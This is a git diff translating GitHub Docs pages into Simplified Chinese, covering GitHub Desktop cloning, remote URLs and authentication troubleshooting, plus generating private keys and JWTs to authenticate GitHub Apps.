tab](/assets/images/help/desktop/clone-choose-button-url-mac.png) +1. 开始克隆前,请先登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_desktop %}。 +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.open-with-github-desktop %} +5. 单击“选择...”,并使用 Finder 窗口找到要克隆存储库的本地路径。 +![URL 选项卡中的“选择”按钮](/assets/images/help/desktop/clone-choose-button-url-mac.png) {% note %} - **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. + 注意:如果存储库配置为使用 LFS,系统会提示你初始化 {% data variables.large_files.product_name_short %}。 {% endnote %} -5. Click **Clone**. -![The clone button on the URL tab](/assets/images/help/desktop/clone-button-url-mac.png) +5. 单击“克隆”。 +![URL 选项卡中的“克隆”按钮](/assets/images/help/desktop/clone-button-url-mac.png) {% endmac %} {% windows %} -1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone. -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.open-with-github-desktop %} -5. Click **Choose...** and, using Windows Explorer, navigate to a local path where you want to clone the repository. -![The choose button](/assets/images/help/desktop/clone-choose-button-url-win.png) +1. 开始克隆前,请先登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_desktop %}。 +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.open-with-github-desktop %} +5. 单击“选择...”,并使用 Windows 资源管理器找到要克隆存储库的本地路径。 +![“选择”按钮](/assets/images/help/desktop/clone-choose-button-url-win.png) {% note %} - **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. + 注意:如果存储库配置为使用 LFS,系统会提示你初始化 {% data variables.large_files.product_name_short %}。 {% endnote %} -5. Click **Clone**. -![The clone button](/assets/images/help/desktop/clone-button-url-win.png) +5. 单击“克隆”。 +![“克隆”按钮](/assets/images/help/desktop/clone-button-url-win.png) {% endwindows %} diff --git a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md index 42d4793a90..3077495d30 100644 --- a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md +++ b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/index.md @@ -1,6 +1,6 @@ --- -title: Making changes in a branch -intro: 'Use your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), to make changes to your project, then use {% data variables.product.prodname_desktop %} to visualize useful commits.' +title: 在分支中更改 +intro: '使用你常用的文本编辑器,如 [Atom](https://atom.io/),更改你的项目,然后使用 {% data variables.product.prodname_desktop %} 可视化有用的提交。' redirect_from: - /desktop/contributing-to-projects/making-changes-in-a-branch versions: @@ -12,5 +12,11 @@ children: - /viewing-the-branch-history - /pushing-changes-to-github shortTitle: Make changes in a branch +ms.openlocfilehash: 3ff1729cdf050f3604c383d965dda117b5a18e42 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145085094' --- diff --git a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md new file mode 100644 index 0000000000..6df50dbc29 --- /dev/null +++ b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md @@ -0,0 +1,32 @@ +--- +title: 从 GitHub Desktop 更改远程的 URL +intro: 可在 {% data variables.product.prodname_desktop %} 中更改您操作的仓库的远程 URL。 如果仓库已经更名,或者拥有仓库的用户或组织已经改变,您便可执行此操作。 +redirect_from: +- /desktop/contributing-to-projects/changing-a-remotes-url-from-github-desktop +- /desktop/contributing-to-projects/changing-a-remote-s-url-from-github-desktop +- /desktop/contributing-and-collaborating-using-github-desktop/changing-a-remotes-url-from-github-desktop +versions: + fpt: '*' +shortTitle: Change a remote's URL +ms.openlocfilehash: e06ea68ead9ab79c44d7aaf96f48d6645232b496 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146058474" +--- +{% mac %} + +{% data reusables.desktop.mac-repository-settings-menu %} +2. 单击“远程”,然后在“主要远程存储库”下,键入所需的 URL 。 +![主要远程存储库字段](/assets/images/help/desktop/repository-settings-remote.png) {% data reusables.desktop.repository-settings-save %} + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-repository-settings-menu %} +2. 单击“远程”,然后在“主要远程存储库”下,键入所需的 URL 。 +![主要远程存储库字段](/assets/images/help/desktop/repository-settings-remote.png) {% data reusables.desktop.repository-settings-save %} + +{% endwindows %} diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md index b550521342..a38e14a9c2 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md @@ -1,18 +1,24 @@ --- -title: About connections to GitHub -intro: '{% data variables.product.prodname_desktop %} uses HTTPS to securely exchange data with {% data variables.product.prodname_dotcom %}.' +title: 关于连接到 GitHub +intro: '{% data variables.product.prodname_desktop %} 使用 HTTPS 与 {% data variables.product.prodname_dotcom %} 安全地交换数据。' redirect_from: - /desktop/getting-started-with-github-desktop/about-connections-to-github - /desktop/installing-and-configuring-github-desktop/about-connections-to-github versions: fpt: '*' shortTitle: About connections +ms.openlocfilehash: 94f1e7db78504a115b233f17485f1b12299a1e11 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145099239' --- -{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} when you pull from, push to, clone, and fork remote repositories. To connect to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %}, you must authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." +当您对远程仓库执行拉取、推送、克隆和复刻操作时,{% data variables.product.prodname_desktop %} 将连接到 {% data variables.product.prodname_dotcom %}。 要从 {% data variables.product.prodname_desktop %} 连接到 {% data variables.product.prodname_dotcom %},您必须验证您的帐户。 有关详细信息,请参阅“[向 {% data variables.product.prodname_dotcom %} 进行身份验证](/desktop/getting-started-with-github-desktop/authenticating-to-github)”。 -After you authenticate to {% data variables.product.prodname_dotcom %}, you can connect to remote repositories with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} caches your credentials (username and password or {% data variables.product.pat_generic %}) and uses the credentials to authenticate for each connection to the remote repository. +在向 {% data variables.product.prodname_dotcom %} 验证后,您可以通过 {% data variables.product.prodname_desktop %} 连接远程仓库。 {% data variables.product.prodname_desktop %} 缓存您的凭据(用户名和密码或个人访问令牌),并使用凭据验证到远程存储库的每个连接。 -{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} using HTTPS. If you use {% data variables.product.prodname_desktop %} to access repositories that were cloned using SSH, you may encounter errors. To connect to a repository that was cloned using SSH, change the remote's URLs. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." +{% data variables.product.prodname_desktop %} 使用 HTTPS 连接到 {% data variables.product.prodname_dotcom %}。 如果使用 {% data variables.product.prodname_desktop %} 访问使用 SSH 克隆的仓库,可能会遇到错误。 要连接到使用 SSH 克隆的仓库,请更改远程 URL。 有关详细信息,请参阅“[管理远程存储库](/github/getting-started-with-github/managing-remote-repositories)”。 -## Further reading -- "[Cloning and forking repositories from GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)" +## 延伸阅读 +- [从 GitHub Desktop 克隆和复刻存储库](/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop) diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md index 220f7b85da..519cf16890 100644 --- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md +++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md @@ -1,126 +1,120 @@ --- -title: Authenticating to GitHub +title: 对 GitHub 进行身份验证 shortTitle: Authentication -intro: 'You can securely access your account''s resources on {% data variables.product.prodname_desktop %} by authenticating to {% data variables.product.prodname_dotcom %}.' +intro: '您可以通过向 {% data variables.product.prodname_dotcom %} 验证来安全地访问您的帐户在 {% data variables.product.prodname_desktop %} 上的资源。' redirect_from: - /desktop/getting-started-with-github-desktop/authenticating-to-github-using-the-browser - /desktop/getting-started-with-github-desktop/authenticating-to-github - /desktop/installing-and-configuring-github-desktop/authenticating-to-github versions: fpt: '*' +ms.openlocfilehash: e88d59a03d876b23d8eb72aae7324db64981096f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145099231' --- -## About authentication +## 关于身份验证 -To keep your account secure, you must authenticate before you can use {% data variables.product.prodname_desktop %} to access resources on {% data variables.product.prodname_dotcom %}. +为确保帐户安全,必须先进行身份验证,然后才可使用 {% data variables.product.prodname_desktop %} 访问 {% data variables.product.prodname_dotcom %}上的资源。 -Before you authenticate, {% data reusables.desktop.get-an-account %} +在进行身份验证之前,{% data reusables.desktop.get-an-account %} {% mac %} -## Authenticating an account on {% data variables.product.prodname_dotcom %} +## 在 {% data variables.product.prodname_dotcom %} 上验证帐户 -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.mac-select-accounts %} -3. To the right of "{% data variables.product.prodname_dotcom_the_website %}," click **Sign In**. - ![The Sign In button for GitHub](/assets/images/help/desktop/mac-sign-in-github.png) -{% data reusables.desktop.sign-in-browser %} +{% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.mac-select-accounts %} +3. 在“{% data variables.product.prodname_dotcom_the_website %}”的右侧,单击“登录”。 + ![GitHub 的登录按钮](/assets/images/help/desktop/mac-sign-in-github.png) {% data reusables.desktop.sign-in-browser %} -{% data reusables.desktop.authenticate-in-browser %} -{% data reusables.desktop.2fa-in-browser %} -7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. +{% data reusables.desktop.authenticate-in-browser %} {% data reusables.desktop.2fa-in-browser %} +7. 在 {% data variables.product.prodname_dotcom %} 验证帐户后,按照提示返回到 {% data variables.product.prodname_desktop %}。 -## Authenticating an account on {% data variables.product.prodname_ghe_server %} +## 在 {% data variables.product.prodname_ghe_server %} 上验证帐户 -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.mac-select-accounts %} -{% data reusables.desktop.choose-product-authenticate %} -4. To add an account on {% data variables.location.product_location_enterprise %}, type the URL for your instance under "Enterprise address," then click **Continue**. - ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) -{% data reusables.desktop.sign-in-browser %} -1. To authenticate to {% data variables.location.product_location_enterprise %} account, type your account credentials and click **Sign in**. - ![The Sign In button for {% data variables.product.prodname_ghe_server %} in browser](/assets/images/help/desktop/enterprise-sign-in-button-browser.png) +{% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.mac-select-accounts %} {% data reusables.desktop.choose-product-authenticate %} +4. 若要在 {% data variables.product.product_location_enterprise %} 上添加帐户,请在“企业地址”下键入实例的 URL,然后单击“继续”。 + ![GitHub Enterprise 的登录按钮](/assets/images/help/desktop/mac-sign-in-button-enterprise.png) {% data reusables.desktop.sign-in-browser %} +1. 若要对 {% data variables.product.product_location_enterprise %} 帐户进行身份验证,请键入帐户凭据,然后单击“登录”。 + ![浏览器中 {% data variables.product.prodname_ghe_server %} 的“登录”按钮](/assets/images/help/desktop/enterprise-sign-in-button-browser.png) - Alternatively, if you were already signed in to {% data variables.location.product_location_enterprise %} account, follow the prompts to return to {% data variables.product.prodname_desktop %} to finish authenticating. + 或者,如果你已登录 {% data variables.product.product_location_enterprise %} 帐户,请按照提示返回 {% data variables.product.prodname_desktop %} 完成身份验证。 {% endmac %} {% windows %} -## Authenticating an account on {% data variables.product.prodname_dotcom %} +## 在 {% data variables.product.prodname_dotcom %} 上验证帐户 -{% data reusables.desktop.windows-choose-options %} -{% data reusables.desktop.windows-select-accounts %} -3. To the right of "GitHub.com," click **Sign in**. - ![The Sign In button for GitHub](/assets/images/help/desktop/windows-sign-in-github.png) -{% data reusables.desktop.sign-in-browser %} +{% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.windows-select-accounts %} +3. 在“GitHub.com”右侧,单击“登录”。 + ![GitHub 的登录按钮](/assets/images/help/desktop/windows-sign-in-github.png) {% data reusables.desktop.sign-in-browser %} {% data reusables.user-settings.password-authentication-deprecation-desktop %} -{% data reusables.desktop.authenticate-in-browser %} -{% data reusables.desktop.2fa-in-browser %} -7. After {% data variables.product.prodname_dotcom %} authenticates your account, follow the prompts to return to {% data variables.product.prodname_desktop %}. +{% data reusables.desktop.authenticate-in-browser %} {% data reusables.desktop.2fa-in-browser %} +7. 在 {% data variables.product.prodname_dotcom %} 验证帐户后,按照提示返回到 {% data variables.product.prodname_desktop %}。 -## Authenticating an account on {% data variables.product.prodname_enterprise %} +## 在 {% data variables.product.prodname_enterprise %} 上验证帐户 -{% data reusables.desktop.windows-choose-options %} -{% data reusables.desktop.windows-select-accounts %} -{% data reusables.desktop.choose-product-authenticate %} -4. To add a {% data variables.product.prodname_enterprise %} account, type your credentials under "Enterprise address," then click **Continue**. - ![The Sign In button for GitHub Enterprise](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) -{% data reusables.desktop.retrieve-2fa %} +{% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.windows-select-accounts %} {% data reusables.desktop.choose-product-authenticate %} +4. 若要添加 {% data variables.product.prodname_enterprise %} 帐户,请在“企业地址”下键入凭据,然后单击“继续”。 + ![GitHub Enterprise 的登录按钮](/assets/images/help/desktop/windows-sign-in-button-enterprise.png) {% data reusables.desktop.retrieve-2fa %} {% endwindows %} -## Troubleshooting authentication issues +## 排查身份验证问题 -If {% data variables.product.prodname_desktop %} encounters an authentication error, you can use error messages to troubleshoot. +如果 {% data variables.product.prodname_desktop %} 遇到身份验证错误,可以使用错误消息进行故障排除。 -If you encounter an authentication error, first try signing out and signing back in to your account on {% data variables.product.prodname_desktop %}. +如果您遇到身份验证错误,请先尝试在 {% data variables.product.prodname_desktop %} 上注销您的帐户,然后重新登录。 -For some errors, {% data variables.product.prodname_desktop %} will prompt you with an error message. If you are not prompted, or to find more information about any error, view the {% data variables.product.prodname_desktop %} log files by using the following steps. +对于某些错误,{% data variables.product.prodname_desktop %} 会以错误消息提示您。 如果没有提示,或者要查找任何错误的更多信息,请使用以下步骤查看 {% data variables.product.prodname_desktop %} 日志文件。 {% mac %} -1. Use the **Help** drop-down menu and click **Show Logs in Finder**. - ![The Show Logs in Finder button](/assets/images/help/desktop/mac-show-logs.png) -2. Select the log file from the date when you encountered the authentication error. +1. 使用“帮助”下拉菜单,然后单击“在 Finder 中显示日志” 。 + ![“在 Finder 中显示日志”按钮](/assets/images/help/desktop/mac-show-logs.png) +2. 选择您遇到身份验证错误之日的日志文件。 {% endmac %} {% windows %} -1. Use the **Help** drop-down menu and click **Show Logs in Explorer**. - ![The Show Logs in Explorer button](/assets/images/help/desktop/windows-show-logs.png) -2. Select the log file from the date when you encountered the authentication error. +1. 使用“帮助”下拉菜单,然后单击“在 Explorer 中显示日志” 。 + ![“在 Explorer 中显示日志”按钮](/assets/images/help/desktop/windows-show-logs.png) +2. 选择您遇到身份验证错误之日的日志文件。 {% endwindows %} -Review the troubleshooting information below for the error message that you encounter. +查看下面的故障排除信息,了解您遇到的错误消息。 -### Bad credentials +### 无效凭据 ```shell Error: Bad credentials ``` -This error means that there is an issue with your stored account credentials. +此错误意味着存储的帐户凭据有问题。 -To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. +要解决问题,请在 {% data variables.product.prodname_desktop %} 上注销您的帐户,然后重新登录。 -### Empty token +### 空令牌 ```shell -info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - USERNAME (empty token) +info: [ui] [AppStore.withAuthenticatingUser] account found for repository: node - (empty token) ``` -This error means that {% data variables.product.prodname_desktop %} is unable to find the access token that it created in the system keychain. +这个错误表示 {% data variables.product.prodname_desktop %} 找不到它在系统密钥链中创建的访问令牌。 -To troubleshoot, sign out of your account on {% data variables.product.prodname_desktop %} and then sign back in. +要解决问题,请在 {% data variables.product.prodname_desktop %} 上注销您的帐户,然后重新登录。 -### Repository not found +### 未找到仓库 ```shell fatal: repository 'https://github.com//.git' not found @@ -128,11 +122,11 @@ fatal: repository 'https://github.com//.git' not found (The error was parsed as 8: The repository does not seem to exist anymore. You may not have access, or it may have been deleted or renamed.) ``` -This error means that you do not have permission to access the repository that you are trying to clone. +这个错误表示您没有权限访问您想克隆的仓库。 -To troubleshoot, contact the person in your organization who administers permissions. +要解决问题,请联系您组织中管理权限的人。 -### Could not read from remote repository +### 无法读取远程仓库 ```shell git@github.com: Permission denied (publickey). @@ -141,11 +135,11 @@ fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. ``` -This error means that you do not have a valid SSH key set up. +这个错误表示您没有设置有效的 SSH 密钥。 -To troubleshoot, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." +若要进行故障排除,请参阅“[生成新的 SSH 密钥并将其添加到 SSH 代理](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 -### Failed to clone +### 无法克隆 ```shell fatal: clone of 'git@github.com:/' into submodule path '' failed @@ -157,34 +151,34 @@ Please make sure you have the correct access rights and the repository exists. ``` -This error means that either the repository that you are trying to clone has submodules that you do not have access to or you do not have a valid SSH key set up. +这个错误表示您尝试克隆的仓库包含您无法访问的子模块,或者您没有设置有效的 SSH 密钥。 -If you do not have access to the submodules, troubleshoot by contacting the person who administers permissions for the repository. +如果您无法访问子模块,请通过联系管理仓库权限的人解决问题。 -If you do not have a valid SSH key set up, see "[Generating a new SSH key and adding it to the SSH agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." +如果没有设置有效的 SSH 密钥,请参阅“[生成新的 SSH 密钥并将其添加到 SSH 代理](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 {% windows %} -### Unable to read AskPass response +### 无法读取 AskPass 响应 ```shell error: unable to read askpass response from '/Users//GitHub Desktop.app/Contents/Resources/app/static/ask-pass-trampoline.sh' fatal: could not read Username for 'https://github.com': terminal prompts disabled ``` -This error can be caused by multiple events. +这个错误可能是多个事件造成的。 -If the `Command Processor` registry entries are modified, {% data variables.product.prodname_desktop %} will respond with an `Authentication failed` error. To check if these registry entries have been modified, follow these steps. +如果 `Command Processor` 注册表项已修改,{% data variables.product.prodname_desktop %} 将以 `Authentication failed` 错误响应。 要检查这些注册表条目是否已修改,请按照以下步骤操作。 -1. Open the Registry Editor (`regedit.exe`) and navigate to the following locations. +1. 打开注册表编辑器 (`regedit.exe`) 并导航到以下位置。 `HKEY_CURRENT_USER\Software\Microsoft\Command Processor\` `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\` -2. Check to see if there is an `Autorun` value in either location. -3. If there is an `Autorun` value, delete it. +2. 检查任一位置是否有 `Autorun` 值。 +3. 如果有 `Autorun` 值,请将其删除。 -If your Windows username has extended Unicode characters, it may cause an AskPass response error. To troubleshoot, create a new Windows user account and migrate your files to that account. For more information, see "[Create a user account in Windows](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)" in the Microsoft documentation. +如果您的 Windows 用户名延长了 Unicode 字符,可能导致 AskPass 响应错误。 要解决问题,请创建新的 Windows 用户帐户,然后将文件迁移到该帐户。 有关详细信息,请参阅 Microsoft 文档中的“[在 Windows 中创建用户帐户](https://support.microsoft.com/en-us/help/13951/windows-create-user-account)”。 {% endwindows %} -## Further reading -- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)" +## 延伸阅读 +- [关于向 GitHub 进行身份验证](/github/authenticating-to-github/about-authentication-to-github) diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md index a8274a92fa..3f67629342 100644 --- a/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md +++ b/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md @@ -1,5 +1,5 @@ --- -title: Authenticating with GitHub Apps +title: 使用 GitHub 应用程序进行身份验证 intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps @@ -14,58 +14,59 @@ versions: topics: - GitHub Apps shortTitle: Authentication +ms.openlocfilehash: 093988bd48aafc9f7551d305726409349d5b620e +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '146769195' --- +## 生成私钥 +创建 GitHub 应用程序 后,您需要生成一个或多个私钥。 私钥可用于签署访问令牌请求。 -## Generating a private key +您可以创建多个私钥,然后轮流使用,以防某个私钥被盗或丢失造成停工。 要验证私钥是否与公钥匹配,请参阅[验证私钥](#verifying-private-keys)。 -After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests. +要生成私钥: -You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys). - -To generate a private key: - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -{% data reusables.user-settings.modify_github_app %} -5. In "Private keys", click **Generate a private key**. -![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png) -6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key. +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.github_apps %} {% data reusables.user-settings.modify_github_app %} +5. 在“私钥”中,单击“生成私钥”。 +![生成私钥](/assets/images/github-apps/github_apps_generate_private_keys.png) +6. 您将看到一个以 PEM 格式下载至您的计算机的私钥。 确保将此文件存储下来,因为 GitHub 仅存储密钥的公共部分。 {% note %} -**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format. +注意:如果你使用的库需要特定文件格式,你下载的 PEM 文件将采用 `PKCS#1 RSAPrivateKey` 格式。 {% endnote %} -## Verifying private keys -{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}. +## 验证私钥 +{% data variables.product.product_name %} 使用 SHA-256 哈希函数为每对私钥和公钥生成指纹。 您可以生成私钥指纹,然后与 {% data variables.product.product_name %} 显示的指纹相比较,以验证私钥是否与 {% data variables.product.product_name %} 上存储的公钥匹配。 -To verify a private key: +要验证私钥: -1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key). -![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png) -2. Generate the fingerprint of your private key (PEM) locally by using the following command: +1. 在 {% data variables.product.prodname_github_app %} 开发者设置页面的“私钥”部分,查找要验证的私钥和公钥对的指纹。 有关详细信息,请参阅[生成私钥](#generating-a-private-key)。 +![私钥指纹](/assets/images/github-apps/github_apps_private_key_fingerprint.png) +2. 使用以下命令在本地生成私钥指纹 (PEM): ```shell - $ openssl rsa -in PATH_TO_PEM_FILE -pubout -outform DER | openssl sha256 -binary | openssl base64 + $ openssl rsa -in PATH_TO_PEM_FILE -pubout -outform DER | openssl sha256 -binary | openssl base64 ``` -3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}. +3. 比较本地生成的指纹结果与 {% data variables.product.product_name %} 中显示的指纹。 -## Deleting private keys -You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one. -![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png) +## 删除私钥 +您可以通过删除功能删除丢失或被盗的私钥,但至少必须有一个私钥。 如果只有一个密钥,需要生成一个新钥,然后才能删除旧钥。 +![删除最后一个私钥](/assets/images/github-apps/github_apps_delete_key.png) -## Authenticating as a {% data variables.product.prodname_github_app %} +## 验证为 {% data variables.product.prodname_github_app %} -Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things: +通过验证为 {% data variables.product.prodname_github_app %},您可以执行以下操作: -* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}. -* You can request access tokens for an installation of the app. +* 检索关于您的 {% data variables.product.prodname_github_app %} 的高级管理信息。 +* 为应用程序安装申请访问令牌。 -To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key. +要以 {% data variables.product.prodname_github_app %} 身份进行身份验证,请以 PEM 格式[生成私钥](#generating-a-private-key)并将其下载到本地计算机上。 你将使用此密钥对 [JSON Web 令牌 (JWT)](https://jwt.io/introduction) 进行签名,并使用 `RS256` 算法对其进行编码。 {% data variables.product.product_name %} 将使用应用程序存储的公钥验证令牌,以检查请求是否已通过身份验证。 -Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it. +下面是一段快速 Ruby 脚本,可用于生成 JWT。 请注意,必须先运行 `gem install jwt`,然后才能使用。 ```ruby @@ -90,19 +91,19 @@ jwt = JWT.encode(payload, private_key, "RS256") puts jwt ``` -`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes. +必须替换 `YOUR_PATH_TO_PEM` 和 `YOUR_APP_ID` 值。 请确保以双引号括住值。 -Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI. +将 {% data variables.product.prodname_github_app %} 的标识符 (`YOUR_APP_ID`) 用作 JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1)(颁发者)声明的值。 可在[创建应用](/apps/building-github-apps/creating-a-github-app/)后通过初始 Webhook ping 获取 {% data variables.product.prodname_github_app %} 标识符,也可随时从 GitHub.com UI 的应用设置页面获取。 -After creating the JWT, set it in the `Header` of the API request: +创建 JWT 后,在 API 请求的 `Header` 中设置它: ```shell $ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github+json" {% data variables.product.api_url_pre %}/app ``` -`YOUR_JWT` is the value you must replace. +`YOUR_JWT` 值必须替换。 -The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error: +上述示例使用的最长过期时间为 10 分钟,到期后,API 将开始返回 `401` 错误。 ```json { @@ -111,19 +112,19 @@ The example above uses the maximum expiration time of 10 minutes, after which th } ``` -You'll need to create a new JWT after the time expires. +到期后,您需要创建新 JWT。 -## Accessing API endpoints as a {% data variables.product.prodname_github_app %} +## 作为 {% data variables.product.prodname_github_app %} 访问 API 端点 -For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)." +有关可用于获取关于 {% data variables.product.prodname_github_app %} 的高级信息的 REST API 终结点列表,请参阅“[GitHub 应用](/rest/reference/apps)”。 -## Authenticating as an installation +## 验证为安装 -Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)." +通过验证为安装,您可以在 API 中为此安装执行操作。 验证为安装之前,必须创建安装访问令牌。 确保您已将 GitHub 应用安装到至少一个仓库;如果没有单个安装,就无法创建安装令牌。 这些安装访问令牌由 {% data 